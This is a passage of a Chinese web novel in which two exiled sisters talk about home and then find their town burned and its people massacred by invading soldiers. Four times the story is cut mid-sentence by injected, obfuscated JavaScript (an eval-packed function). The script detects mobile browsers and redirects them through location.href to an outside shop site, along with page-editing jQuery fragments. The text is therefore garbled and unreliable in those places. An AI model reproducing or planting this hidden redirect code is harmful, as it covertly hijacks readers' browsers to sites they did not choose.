“有几个月了。”董莉莉说。 “是啊,还得刨出去你追着杜光欧的那几个月。我比你待在这里的时间可长太多咯,真的难熬……”说道一半,董夜明突然噤声,有些小心翼翼地看向克拉娜。后者笑盈盈地看她,董夜明模样有些窘迫,“不,嫂子,我绝对不是不想待在这里的意思……” “没关系,我们都有这种感觉。”克拉娜体谅地说,“毕竟,这里不是我们的家。” 她说完,几个人皆是陷入了沉默。 片刻后,董夜明叹了一口气,说道:“是啊,身在外,寄人篱下,就是难免会活得憋屈一些。前不久还因为老姐的盆栽里掉出来了一把枪,那个姓燕的瞬间就和我们翻脸了。” 董莉莉说道:“那也是没办法的事情吧,那个燕无先生,他好像在甾染遭遇了什么不太好的事。” 董夜明模样有些不愤,向不知在何处的男人怒斥,“那也不是他们那么凶我们的借口。我们可什么都没做,怎么了,都这个年头了,血皑都大换血了,甾染都陷落了,还不允许我们这些平民百姓身上携带一些自卫的武器吗?” 这时候,克拉娜开口说道:“说起来,距离镇长离开,也过去有一段日子。” 董莉莉回想了一番,好像的确是这样。自从那次盆栽的事故过去之后,燕戎陵收走了那把枪,据说是和燕无一同前往了牧盟的科技中心,麦哲也。 不知道他们是去做什么的,但是,怎么也能猜个八九不离十。拿到了那种新型的武器,任谁都会想要拿去拆解研究一番。 董夜明道:“哼,最好别回来了,主要别带那个叫燕无的回来,免得他又开始找我们的麻烦。” 眼瞧着小妹在这件事上停不下来,董莉莉耐心地解释道:“燕无先生身边的那个古古不是后来来过,解释说没有恶意吗?他们只是刚从一场战争中逃出来,有些过于应激了。” 董夜明一听,更是来劲,“现在谁不是身处一场战争之中啊?都是吊着一颗心,提心吊胆地过日子。” 听董夜明这么描述,董莉莉有些恍惚。她今天清早还在想,最近的日子实在是有些过于平凡了,在这个镇子里,时间过得很慢,没什么新奇的事物,没什么冲突,也没什么变化。 所以,她有些惊讶,董夜明居然会有这样的想法。 “你现在过得很提心吊胆?”董莉莉向自己的妹妹问。 董夜明也不掩饰,说道:“是有一点。毕竟我们回不去家了,还有一个母老虎在那里气势汹汹地盘踞着,这怎么能让人放松下来?” 克拉娜此刻接话道:“夜明,你也不要那么紧张,一切都会好起来的。” 董夜明说道:“我也希望能够好起来,但是,要怎么才能好起来?我因为帮着那个杜光欧出逃,也得了一个罪人的头衔,这下好了,我和老姐都没有办法回到血皑去了。原本如果没发生那些事,我们是可以待在血皑的。” 董莉莉盯着自己的妹妹,“你到现在还在说这种话,夜明。” 董夜明道:“我怎么不能说了,我就是要说。或许老姐你觉得自己和杜光欧是一个阵线的,但是我不是。为了和家人在一起,我可以加入任何阵线,不管是那个母老虎的,还是任何人的。” 董莉莉还想说些什么,但是,听完董夜明的话,她却无法说出责备她的话。她又能怎么责备自己的妹妹呢? 她们都有自己的苦衷和坚持,自己和对方没什么区别。只是因为不想和杜光欧分离,希望和他一起找到他们的队员,再和队员们一起回家。 只是为了这么一个单纯的愿景,所以,她一开始和杜光欧去琉城,又和他回到血皑,最后与葛马一起帮他逃出了王城,因此也成为了通缉名单上的一员。 想到这里,董莉莉突然有了新的主意。既然,杜光欧的行迹难以追踪,她也在和黎礼的正面冲突上帮不了什么忙,那么,不如去做她一开始就想要去做的事——把队员接回家。 她记得,杜光欧说过,那些队员的遗体还留在横古山脉的某处,就在某个雪山的峰顶。而葛马好像对那片山脉很熟悉,如果有他引路的话,加上董莉莉这么多年做制图员的经验,说不定能顺利找到那个地方。 想到这里,董莉莉说道:“不知道葛马会什么时候回来。” 董夜明听到了,接话说:“他不是和那个叫古古的小女孩去了什么地方吗,走的时候说一时半会回不来,还把纳七还给顺走了,也不知道那个红毛能不能照顾好它……” 董莉莉回想了一番,葛马的确是把白鹿纳七带走了,那头鹿跟了他们很久,很久很久,在最初跟随大迁徒队伍从血皑城去往琉城的时候,它就在他们身旁了。 它曾经是杜光遗的鹿,后来辗转到了杜光欧手里,最后不知怎么地,却是葛马与它形影不离。 董莉莉结束了短暂的回忆,对妹妹说道:“夜明,不能因为古古长得不太高,就叫人家小女孩。她年纪和我差不多,比你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731437|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大了好几岁呢。” 董夜明耸耸肩,不以为意,“我不在她面前那么叫不就行了吗。” 几人来来回回又聊了会天,太阳的位置移动了少倾,空气变得不再那么清冷,该是她们出发的时间了。 于是乎,董莉莉对克拉娜说道:“嫂子,时间不早了,那我们就先去了。” 克拉娜笑着道:“别太累着了,有什么难处,多叫身边的人帮帮忙,这里的人们都很热情。” “知道啦。”董夜明跟着姐姐一起离开,摆摆手,说道,“都住了这么长时间,还能不知道多热情吗?光是买条鱼都能给送到家里来,在其他地方我可没见过这么实在的生意人。” “好了,你少说两句吧。”董莉莉笑着低声说。 董夜明盯着自己的姐姐,“干嘛,你分明喜欢听我说话。” “我可没那么说过。”董莉莉道。 董夜明围着自己的老姐,像个吵闹的犬类一般,这里嚷嚷两声,那里碰她一下,两人闹得不亦乐乎。 她们把水桶放在车上,拉着木车往镇外的方向走。要去的地方是河上游,那里的水质清澈,没有任何的污染,不会有人在那里洗衣洗菜,更不会有人往里面随意小便。 镇民人们都很遵守规矩,只在上游打水,其他的生活用水都集中在下游。毕竟,他们十分爱惜它,整个暮落镇的存活,都仰仗着这条河流。 董夜明从小习武,体格比姐姐好上许多,她提出要全程拉车,但是被董莉莉严厉地拒绝了。 但董夜明又不可能真的让她一个人拉木车,于是两人一人抬着一边,往上游的方向走。 路上,他们遇到了零星几个镇民,都是去打水的。关系不是很熟,打了个招呼就各走各的路了。 路两旁是光秃秃的土地,没什么好看的,为了缓解路上的枯燥,两人有一搭没一搭地聊着。 “你说,老姐,我们将来会怎么样啊,会一直待在这个镇子里吗?”董夜明问道。 “我也不知道。”董莉莉说道,但其实,她心里有一些想法,只是在没有想清楚之前,不打算和董夜明说。 她想去找回队员的遗体,如果还有机会的话,还想去找杜光欧,帮他向黎礼复仇。 她清楚这个妹妹是多么想保护自己,董夜明唯一的愿望就是和家人待在一起。 可小妹的愿景,却不是她的愿景。 她知道对方的好意,但是,却不可能因为对方的好意,而摧折了自己信念。 即便她们是骨肉相连的亲生姐妹,也不可以。 “我在想,这样下去也不是个办法。”似乎见董莉莉没什么想法,董夜明自顾自地说起来,“我们也不可能一直躲在这个镇子里。回到血皑呢,现在看起来又不那么现实了。” “是的……如果黎礼不离开血皑的话,我们恐怕回不去。”董莉莉道。 董夜明:“但是,说实话,我们只是无关轻重的一对姐妹,我们去哪里,应该也没什么人在意吧。” 董莉莉这么一听,看来董夜明是有一些自己的念头,于是乎,她顺着问道:“你有什么想法吗,夜明?” 204. 突袭3 董夜明一只手抱着自己的后脑,一只手抬着横木,优哉游哉地往前走,“我在想,要不我们把爸妈接出来算了。” “接出来,住到哪里去?”董莉莉听了,觉得有些不切实际,父母都是在血皑生活了一辈子的人,父亲把自己的基业都安置在了那里。离开血皑,代表他们的权力地位全都作废,人脉也会丢失,财产也大打折扣。即使老两口愿意离开,失去这些肯定也会让他们心疼得不得了。 董夜明说道:“哪里都行。我们不是也在暮落镇待了这么长时间吗?天下之大,总有可以去的地方。我们虽然在血皑的通缉名单上,但绝对不是什么滔天的罪人,那些罪行离开血皑便烟消云散,即便我们举家迁移,也不会有人盯着我们追杀到天涯海角。” 董莉莉没有回答她,只是自顾自地思考起来。 董夜明说的事,她不是没有考虑过,但是,无论去往那里,她依然觉得血皑是自己的家。而那些因为远征而命丧雪山的队员们,也在等着回到那个生养他们的地方。 想到这里,董莉莉不由得低下头去,陷入了一阵沉默之中。 董夜明似乎没有觉察出姐姐的沉默,兴致勃勃地诉说着自己的计划,“然后啊,就找一个风景特别好的地方,我们一家人安居下来。我看牧盟就有许多不错的地方,这里天气没有天骨盆地那么冷,有许多河流,还有很多很多马,是个挺宜居的地方。我们就在一片原野上生活,自己盖一间房子,在院子里养一些家畜,种一些喜欢吃的东西,然后一家人在一起生活。” 董莉莉幻想了一番董夜明说的那副景象,听上去挺不错的。如果,此身没有什么其他牵挂的话,她或许也会选择这样的生活。 “你说怎么样?”董夜明问道,“不如过两天我们去牧盟的南边转转,看看那里有没有什么风水宝地。然后去麦哲也和都林转一圈,说不定那里的景色比法陆贡还要美。我听说,临近东海的地方,生长着成片的树林,那些林子里的树木,叶子都是尖的,长得特别高。那里的灌木还会结果,人们会拿那些浆果做成果酱。哦,还有,他们那里盛产的黑酒……姐,要不我们移居到海边吧,这样酒就不会那么贵了。” “你只是想喝酒吧。”董莉莉说道。 “哪有,我只是希望去一个物价更便宜的地方。血皑还是太冷了,许多作物都不生长,很多生物也都不在那片区域活动,只有我们一个个长得瘦高的人种还在那个城市里坚持……姐,你远征去过许多地方,跟我说说呗,你觉得哪里适合我们一家人定居?” 董莉莉的确去过许多地方,南陆这片大地,她和远征队的成员一起几乎已经踏遍了。的确,会有一些气候怡人的地方,那里有水源,有木材,有各类食物,也不需要每天烧很多的热水,昼夜温度的变化也没有那么的极端。除了血皑之外,这世界上有许多生活更加适宜的地方。 可是,即便去过了那些地方,也在那些温和的环境中短暂停留,董莉莉还是忘不了自己的故土。每次和杜光欧一起带队远征的时候,她都是留恋地离开自己的家,而后,整个过程中,都无法放下对它的思念。 正是因为想要回去,整个过程才会更加小心,她每次出征前都暗暗发誓,要将队伍里的所有人平安带回去,因为她知道,家对他们每一个人来说有多么重要。 现如今,妹妹这么问她,董莉莉的确能想出来几个宜居的地点,但是,她对那些地方没有喜爱之情,就像她们现在所在的这个暮落镇一样,短暂的停留可以,但无法接受一辈子在这里生活。 她是血皑出生的人,在天骨盆地中生活了二十多年,将来,也打算——不如说希望——在那个地方继续生活下去。 即便那是一个有些臃肿的城池,即便那里和其他地方比起来,景色并不优美,天气也不是那么温和,但是,那是她的家,是她灵魂所在的地方。这天底下的其他地方,都无法给她那种安宁的感觉。 董莉莉想了片刻,摇摇头,对自己的妹妹说道:“你突然这么问我,我倒是没有什么头绪。依我看,血皑挺好的。” “可是我们已经回不去了呀。”董夜明说道,她盯着自己的姐姐,片刻后,像是看出了什么一般,目光有些凝滞,而后,其中的欣喜之情淡去,掺杂了一些怒意和一些忧虑,“姐……你不会,还想着要帮那个杜光欧回到血皑吧……” 董莉莉调整了一下手部的姿势,以便更好地发力去拉动木车。她目不转睛地往前走,不想和董夜明展开新的争吵,她知道在这件事情上两人的分歧,为了这件事,她们已经争吵得够多了。 董莉莉摆出有些心不在焉的模样,说道:“他不让我帮忙,我怎么帮他?” “但如果有机会,你还是想帮。”董夜明说。 “……”这点,董莉莉没有否认。 董夜明皱起眉头,“我以为,过了这么久,你应该已经想清楚了。帮那个人是没有任何未来的,他形单影只,又能做到什么?他所有的势力,已经全都被黎礼夺走、摧毁了!” “这和那些没关系。”董莉莉说道,语气十分得平静。 董夜明却不像她那么平静。果然,如董莉莉所料,只要涉及到了这件事,她们之间就难免发生冲突。 董夜明不由自主地拔高了声音,说道:“怎么没关系?以他的实力,注定一无所成。” “这和光欧有多少实力没关系。甚至和我是不是想要帮助的是杜光欧这个人也没关系。”董莉莉说道,话有些绕,她在尽量让对方理解,“血皑是我们的家,夜明。没有人会那么轻易就放弃自己的家园。无论带头揭竿而起的人是谁,人们总会想要跟上去搏一搏,看看是否能够夺回自己的故土。” “可我对那里就没什么留恋……”董夜明依然在反对。 “试着离开它。”董莉莉说,“几个月还不够,试着离开它一年、两年,十年。当你发现这天底下所有地方都差不多,而那个出生的地方已经占据了你太多的回忆——你在那里诞生,沾染了那个城市的气息——你会想要回去。” “真的假的。” “它并没有对你怎么样,并没有伤害你,你只是厌烦了它,觉得其他的地方更好,所以选择离开了它。可是到最后,你会发现,离开故土的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735513|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己,已然丢失了一部分。那一部分的你,永远地留在养育你长大的地方。你是割裂的,想要捡回自己的那一部分,故土无时无刻不在呼唤着你,你破碎的精神想要合二为一……”董莉莉说,“但是,有些人是回不去的。你知道那种感觉吗?” 董夜明张了张嘴,却没再说出什么大话,“说得这么深奥……你也没有离家五年十年的经历啊,不是吗。” “我听过太多游子的故事。他们总是这样,周而复始,没有一个例外。” 说完这段话,另一边的董夜明却是陷入了沉默。 董莉莉心想,她还是个小姑娘,有许多没见识过的东西,心思纯粹,非黑即白。有些时候,她理解不了一些复杂的想法,比如游子对家乡的怀念,以及一些看似对无望的愿景的坚持。 这些复杂的心境,需要足够的阅历才能感同身受。 此刻,董莉莉不要求对方理解自己的想法,只希望自己这个年幼的妹妹知道,有些事情,不是她想得那么简单。 人们不是想要去一个地方,就能去一个地方,不是想吃什么东西,就能吃到什么东西,不是想爱一个人,就能好好地爱一个人。这其中有太多的曲折和不如意,有太多的牵挂和顾虑。那使人瞻前顾后。但只有领略了这些,人生从某种程度上来说才是完整的。 后半段路上,董夜明没怎么说话,好像她真的在思考董莉莉所说的那番话一样。 到了河旁边,年幼的人帮着挑了水,然后默默无闻地拉起了车,像一头只知道干活的水牛,但是,她白净稚气的模样和老水牛实在是不怎么沾边。 给水桶盛满了水,两个人打算往回走,河边上还有些取水的镇民,正把他们赖以生存的生命之源装在一个个圆滚滚的木桶中。 回程的路上,两姐妹没什么交流,木桶装了水,整辆车都变重了,她们专心致志的拉车,没功夫多说一句话。 冷白的太阳爬到了半空,时间已经接近中午。 他们离暮落镇已经很近,只需要再翻过一个山丘,就能看到那个静谧的小镇子了。 走着走着,身边的女孩抬起了头来。紧接着,她的声音响了起来。 “姐,前面好像有点不对劲。” 闻声,董莉莉也抬起了头来。远远的,她看到暮落镇的方向在冒烟。 “怎么回事?”董莉莉不解地问。 镇子的方向有好几缕烟飘了起来,都是黑色的,像是掺杂了许多的灰尘和杂质。那绝对不是谁家升起的袅袅炊烟。如果要形容那像什么的话,一场森林大火差不多。 董莉莉皱着眉头,盯着远处,说道:“再往前走走,看看情况。” 没走两步,董莉莉就在地上发现了一些斑驳的痕迹。根据她多年远征在外的经验来看,这是马蹄留下的脚印。 它们都朝着一个方向,数量众多,多到压平了地面。 方向是……暮落镇。 得出这个结论的时候,董莉莉的心一沉。 这些马蹄的数量,可要赶上一支军队了。 是什么人、谁的人接近了暮落镇? 205. 突袭4 暮落镇升起那些黑色的烟,无论怎么想,都是焚烧所产生的景象。难道是这些人…… 董夜明放下了手中的车,上前查看地面上的马蹄印,说道:“这些……是有人往镇子的方向去了?” “嗯。”董莉莉点头,然后说道,“而且,很有可能,来者不善。” 就在她说完这句话的时候,突然,她们听到了一种巨大的爆炸声,像是什么东西猛烈地撞击在岩石上。 董莉莉反应了一阵子,惊讶道:“那是枪声!” 枪声从暮落镇的方向传来,而她们只需要再翻越一个小山丘便能够看到镇子了。想到这里,董莉莉耐不住性子,拔腿就要往暮落镇的方向跑。 然而,董夜明眼疾手快,拦住了自己的老姐,喊道:“你着急赶过去干什么?我们都不知道前面发生了什么!” 董莉莉回头,她力气虽然不能说小,但还是很难从从小习武的妹妹手中挣脱,“嫂子和小祁都在那里啊!” 董夜明将她拽回来,刚要说话,便有一阵急促的马蹄声传来。妹妹立刻带着姐姐离开了装水车,跑到一旁能遮掩身形的巨石后面,躲了起来。 从暮落镇的方向,那个小山丘的后面,出现了两个红白军装的骑兵,他们一下子就看到了董家姐妹的水车,跑了过来,围着它打转。 她们离得并不远,就这么听到了那两个人的交谈。 “还有漏网之鱼?这水车里还装着水呢,人跑哪去了?”其中一个人说道。 “这也没办法,早晨刚过,这镇子里很多人都去河边采水了。”另一个人说道。 第一个说话的人性子似乎有些急,他埋怨道:“哎呀,那我们就不应该选这个时间进攻啊。大将军又要我们灭口,可是现在人都不在镇子里,跑得哪都是……” 急性子的骑兵从背后解下了长枪,对准了四周环视起来。两姐妹赶忙蜷缩自己的身体,以免被对方发现。 另一个人的情绪明显平稳许多,说道:“找找看吧,看这水车的方向……镇子里的人应该是去上游去采水了。” 急躁的马蹄声响起,“快走快走,再这样下去,回来该赶不上午饭了。” 两个奔腾的马蹄声离开了,往河水上游而去。 两姐妹躲在岩石后面,对视着彼此,都从对方的眼神中看到了惊慌。 镇子……被袭击了。而且,袭击它的,是一个带有枪支的部队。从那两个士兵的衣装和武器配备来看,他们无疑是黎军。 黎军打过来了……虽然曾经不是没有想过这个情况,但是,经历了这几个月的风平浪静,董莉莉几乎要把这件事忘记了。 黎礼霸占了血皑,侵犯了甾染,如果她下一个目标是牧盟的话,身处西部的法陆贡则会首当其冲。 而法陆贡脚底下的暮落镇,必然会最先遭受黎军的袭击。 这些事,她都预想过。但是,在它真正发生之前,从来没有想过这件事会真的发生在她的身边。 在这个镇子里停留了太长的时间,被它平和的气息所迷惑,以为战争不会降临到这个世外桃源一般的镇子上。 然而,哪有什么世外桃源。 董莉莉最初的焦虑并不是空穴来风,世界在打仗,而这片大地上的每一个聚落,都将面临这场浩劫,谁也逃不过。 只是,消息传递的太慢,甚至比军队的脚步还慢。人们天真地以为自己所在的地方能够逃过侵略者的眼睛。不过,那只是自欺欺人罢了。 “姐……我们不能回去。”董夜明在看到眼前一连串发生的事情之后,得出了自己的结论,“起码现在还不能回去。那两个骑兵往我们采水的地方走,等下还会回来。他们的大部队肯定还留着镇子里,没有离开。” 董莉莉忧心忡忡地看向暮落镇的方向,听那两个骑兵的意思,他们已经杀死了镇子里所有的人。但是,她无法相信,嫂子和白祁还在那里,怎么可能连他们也……不,不可能的,这绝对不可能。 “夜明,我们找一个视角开阔的地方,看看发生了什么。”董莉莉对自己的妹妹说道。 董夜明盯着自己的姐姐,模样纠结,她说道:“姐,视野开阔,意味着我们能观察到敌人,敌人也能观察到我们。他们手里面有枪,看到我们就会开枪,但是我们什么都没有,没有可以用来防身的东西。” 董莉莉明白对方的顾虑,“但是……” 董夜明见她的模样,又提出来了一个建议,“这样吧,我去探探路。我们也不能一直待在这块石头的后面,得弄清楚敌人的点位,那之后不管是前进还是脱身,才有更大的把握。” “你一个人太危险了。”董莉莉道。 “两个人行动更危险。”董夜明留下了这样一句话,弓着背,从岩石后面窜了出来。她东瞧瞧,西看看,确认周围没有人发现她,而后,向远处那个小山丘上行进。 董莉莉盯着自家妹妹的身影,心脏都提到了嗓子眼。 临近了丘顶,董夜明趴在地上,匍匐前进。 在那山丘顶上待了一阵子,而后她贴着地面换了个位置,又观察了好一阵。 就这么来来回回打探了半天,董夜明像是收紧了线的风筝,最终落回了自家姐姐的身边。 因为在地面上蹭来蹭去,董夜明的衣服上沾了很多土,脸上也脏兮兮的,整个人看起来像是在泥地里翻了好几个滚。但此刻,董夜明似乎顾不得打理自己的形象,语速颇快,对董莉莉说道:“大门被毁了,整个镇子都在燃烧。我看到有一帮驻军停在东边,那应该就是袭击镇子的军队,从他们的军装和旗帜来看……应该就是黎军。大军正在歇息,看不出有什么行动的打算。” 董莉莉的心脏怦怦直跳,一种不祥的预感找上了她,“怎么会这样,那嫂子他们……” 董夜明的脸色不太好,垂线视线,“他们可能已经……” 董莉莉脸色惨白,从岩石后站起来,说道:“我们得去找他们。” 董夜明连忙制止了自家老姐的动作,“现在这样肯定是不行的,房屋还在燃烧,驻军就在镇子外,怎么想都不是贸然突入进去的时机。” “不行,夜明,那可是嫂子和小祁啊——说什么我们都不能放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740391|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们。”董莉莉坚持道,她从岩石后面走了出来,但是,又猛然被董夜明拉了回去。她一下子火气上来了,嚷道,“别管我了,我说什么都要去!” “我不可能让你去,姐。”董夜明说道,姐妹两人的身份就好像调换了一般,现如今,董夜明才是那个沉着冷静的人,“除非那里的火势小下来,并且驻军离开。不然,在风险莫测的情况下,我不会让你靠近。” 董夜明说的全是强硬的否定句,每一句话传到董莉莉的耳中,都是一次沉重的冲击,让她的理智消散,怒气上涨,“我再说一遍,那是克拉娜和白祁,是熠大哥的妻女!” “我知道。”董夜明说着,依然拽着自己姐姐,不让她离开。 “在熠大哥已经不在的如今,我们怎么能够再让他的家人出事?死去之后怎么面对他啊!”董莉莉气急败坏地说道,想要从妹妹的钳制下挣脱出来,然而,却如何也挣脱不开,只能徒劳地击打对方的胳膊。 董夜明承受着姐姐的欧打,脸上的表情十分坚毅,说道:“真的有那么一天,我会去和熠大哥说。我相信,同为有家人的人,他能理解我今天的决定。” “你简直是——”董莉莉瞪大了眼睛,里面几乎都出现了红血丝,她从愤怒的腹腔中寻找词汇,最终脱口而出,“没心没肺!” “……”经这一番话,董夜明没说什么,只是安静地垂下脑袋,模样有些难过,但手上还是紧紧钳制着对方。 董莉莉完成了不留情的声讨。在对方的沉默之中,也渐渐冷静下来。她意识到,自己刚才说了很过分的话,但是,此刻对妹妹的怒气还没有消散,所以,即便知道自己说错了话,也依然不想道歉。 在她的角度,董夜明不该阻止自己。即便自己所奔向的是一场死亡,妹妹也不该阻止她。她认为,即使是死亡,也是自己选的、最问心无愧的道路。 但是,董夜明强硬地将她留了下来,在这个隐蔽身形的巨石后面,这个积满了悔恨的地方,要自己一起和她在这里蜷缩。 她受不了这样。 如果嫂子和小祁还活着怎么办? 她们可能正在错失唯一拯救他们的机会。 如果真的发生了这样的事,她饶不了自己。 董莉莉盯着天空上飘起来的黑烟,望眼欲穿。 就这样,没过多久,两个马蹄声从远处传来。董夜明抓着她往巨石后面又紧缩了一些,让经过的人不至于发现她们的身影。 马蹄声路过,不远处传来了交谈声。 “……别说,这镇子还真是富裕啊,他娘的,这里的平民比我们过得还滋润。” “这里靠河,资源自然多一些。”另一个声音与他对话道。 “不过,他们赖以生存的河流已经染红啦。起码这点让人心情舒畅了些。” “我们自己也会暂时用这条河……不过,几个人的血而已,冲到下游就散了,倒是不怎么碍事。”另一个骑兵说,“赶紧回去吧,应该已经开饭了。” 马蹄声由远至近,而后,由近及远,朝着暮落镇的方向而去,声音越来越小。 206. 突袭5 董莉莉抱着自己的脑袋,耷拉着眉头。这些骑兵一个人都没有放过,连那些去河边采水的镇民也…… 如果不是她和董夜明回来得早,看到了暮落镇上方飘起的浓烟,就不会产生戒心。如果不是毅然决然抛弃了装水车,而旁边刚好旁边有一块可以藏身的巨石,她们也难逃一劫。 可是,即便劫后余生,董莉莉却没有一丝的欣喜。那个镇子上有在乎的人,这让她的心中焦虑,坐立不安。 然而,董夜明铁了心不让她离开岩石后面,钳制的双手一分力道也没卸。 时间久了,一种灰色的情绪在董莉莉的心中堆积,她有些麻木地说道:“放开我,我不跑了。” 董夜明盯着自己的姐姐看了一阵,然后松开了手。 董莉莉确实没有跑,现在跑回去也没用了,时间过去了这么久,镇子里肯定什么都没了。 大军一直没有要离开的动向,就这样,两人一直在石头后面待到了夜晚。 星野之下,寒冷的空气中,有些芥蒂的姐妹还是靠在一起,以彼此的体温取暖。 一直到夜晚降临,两人在石头后面昏昏沉沉地睡去。她们没有其他的地方可去,这里离其他的镇子都很远,而且,为了找到克拉娜和白祁,她们最终还是要回来的。 第二天早晨,两人醒来过来,看到镇子飘起的浓烟已经渐渐散去,听到镇子的方向传来了一阵骚动。 董夜明再度离开巨石,去往小山丘上,远远地探查镇子的情况。不过多久,她撤回了巨石后面,对董莉莉说道:“大军似乎在整装行囊,准备行军了。” “他们要离开了吗?”董莉莉问。 “应该是这样。他们大抵只是在暮落镇歇脚,顺便将这里的资源掠夺一空。”董夜明说道,“只是我不明白,为什么非得把这里的镇民赶尽杀绝,这一般是为了不走漏风声才会使用的残忍做法……” “军队有多少人?”董莉莉问道。 “很多。”董夜明回答,“显然,用那个数量的士兵来对付一个镇子,显得有些太多余了。他们的目的应该是更大的城市,比如……离这里最近的法陆贡。” “……这是侵略。”董莉莉说道。 “可以这么说。”董夜明说,“那个女人的野心还真是没边啊。这么快地连续出兵,先是甾染,而后是法陆贡,她就不怕吃撑吗?” 董莉莉遥望着镇子的方向,没有说什么。 又过了一阵子,那些嘈杂的声音也远去了,周围恢复了死一般的寂静。 董夜明爬到了巨石之上,明目张胆地向远处瞭望,而后又跑到山丘上,直立在丘顶,丝毫不再掩饰自己的身影。 董莉莉见状,也走了出去,来到了山丘上。 董夜明回过头来,看着自己的姐姐。风拂过山丘,吹动姐妹二人的头发,在她们眼前的,是一片广袤的原野,原野上,是一个已经烧焦了的镇子。 军队已经离开了他们践踏过的小镇。 姐妹俩从山丘上疾驰而下,从已经黑得认不出来的大门口进入了暮落镇。 镇子里发出一股烧焦的气味,无论怎么捂住口鼻,这种气味都挥之不去。 她们依稀还能辨别镇子以往的模样,地上烧焦的黑色残影展现出来曾经的布局,可上面已经没有任何完好的建筑,一场大火毁了这里的一切,推倒了镇民们精心搭建起来的家园。 两人依照记忆,来到了和克拉娜一起居住的家。 没有一点的侥幸,那里也变成了一处废墟。本就是泥土、石块、砖瓦和稻草所搭建出来的房子,在烈火连夜的焚烧之下,早就变成了黑炭几堆。 从那黑黢黢的废墟之中,依稀还能看出哪里是厨房,哪里是客厅,哪里是她们一起睡觉的屋子,现在,它们都失去了原有的模样,变成了地面上一团乌黑的痕迹。 “嫂子,小祁……”董莉莉低声念着他们的名字,跨越已经没有门槛的门,走进了原本是客厅的地方。 她们开始在一片废墟之中找寻,在黑色的泥瓦间翻找。然而,找了许久,就连一根骨头都没有看到。 越找,董莉莉越是不想找到什么东西。如果什么都找不到,说不定还有一丝希望。这场火还不至于将人的骨骼都焚烧殆尽,她是知道的,她见过许多动物烧焦的场景,人也是一样。如果连一块骨骼也找不到,一定就说明她们还活着,一定还在哪里活着。 “姐!”突然,另一旁的董夜明叫道。 董莉莉的背后几乎是立刻出了一身汗,她连忙问道:“怎么了,你找到他们了?” “没有。”董夜明蹲在地上,似乎在打量什么东西,“不过,你来看看这个。” 董莉莉走了过去,只见小妹翻开地面上的焦黑的木桩,从里面拿起来了一个金属的制品,“这东西埋在底下,没有被烧毁。” “那是什么?”董莉莉问道。 “这是大门上的锁。”董夜明说道,她说完,继续在废墟底下翻找,“它是打开的,说明在火烧起来之前,门就打开了。锁没有被破坏的痕迹,说明门要么是正常从里面打开,要么是用钥匙打开的。” “你的意思是说……”董莉莉想到了些什么。 董夜明站起来,拍了拍手上黑色的炭迹,“既然门开着,他们有很大的可能性不在家里。” “但是,如果出门,克拉娜会锁门的。” “所以,他们要么是急匆匆逃了出去,要么……是有什么情况,让他们来不及锁门。唔,我在说什么,这是一个意思。”董夜明拍了一把自己的脑袋,道,“总之,换个地方找找吧。” 两个人离开了已经被烧成一片灰烬的家,一时间不知道该往哪个方向搜寻,便沿着大路往东门走。 街道被毁得不成样子,路旁时不时出现人的骨架,还有许多辨别不清原本样貌的焦炭。那些都是在这场大火下涂炭的生灵。 他们有的人在房间中被杀死,有些在街上失去了生命,而后全部被大火所淹没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743735|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在痛苦中离开了这个世界。 董莉莉的心里十分忐忑,每到一个烧焦的尸体旁,都害怕那是自己认识的人,但还是怀着必须找到他们的心情走过去,再而后发现那并不是母女俩,一颗心才落回了胃里,但是,很快又因为一无所获而变得再度焦急起来。 为什么哪里都找不到他们的身影,他们究竟在哪呢? 走着走着,两人来到了镇子的东门,那里留下了一堆杂物,应该是黎军驻扎过的地方。现在,他们已经全都走了,留下了空无一物的镇子和一堆废物。 董莉莉望着那些军队远去的方向,突然感觉有些惆怅。 她们究竟活在一个怎样的世界上?它寒冷、孤寂,但是,却有人不在乎这些,只顾着烧杀掠夺,就像是这个世界的瘟疫一般,在一场寒冷带来的灭亡之前,依然在世界的舞台上挥舞着自己的刀剑,声称要制霸每一块土地。 